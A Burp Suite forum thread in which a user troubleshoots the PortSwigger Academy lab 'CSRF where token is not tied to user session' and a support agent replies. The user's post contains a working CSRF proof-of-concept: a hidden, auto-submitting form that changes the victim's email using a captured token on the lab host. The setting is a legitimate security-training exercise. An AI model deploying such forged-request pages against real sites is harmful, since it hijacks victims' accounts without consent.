Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Lab: CSRF where token is not tied to user session

coder | Last updated: Sep 26, 2021 02:59PM UTC

I did this lab for more than 20 times, but still it is not being shown as solved. I fount out what the problem is, when I store my exploit and click on "Deliver it to Victim", seems like its not being delivered. How did I confirm the above statement? 2 minutes after clicking "Deliver it to Victim" , i clicked on "View Exploit", and it worked for logged in session and it changed my email. Ideally,it should have said "Invalid Token" if victim already opened it but seems like that functionality is not working there because of which I was still able to use the same csrf token after 2 mins of clicking "Deliver it to Victim" Could you please check? Below is my POC <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://ac2b1f0d1e8d7764800c409100f200bc.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="aefae&#64;eaf1234&#46;com" /> <input type="hidden" name="csrf" value="cAc6ETuXFusZeReT2j6KqYPl54tdyWgO" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Ben, PortSwigger Agent | Last updated: Sep 27, 2021 10:42AM UTC

Hi Sanjay, I have just attempted a run through of this lab. I was able to successfully solve it, on the first attempt, using the written solution provided so it does appear to be working as expected. Are you able to provide us with any more details about the steps you are using to solve the lab?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.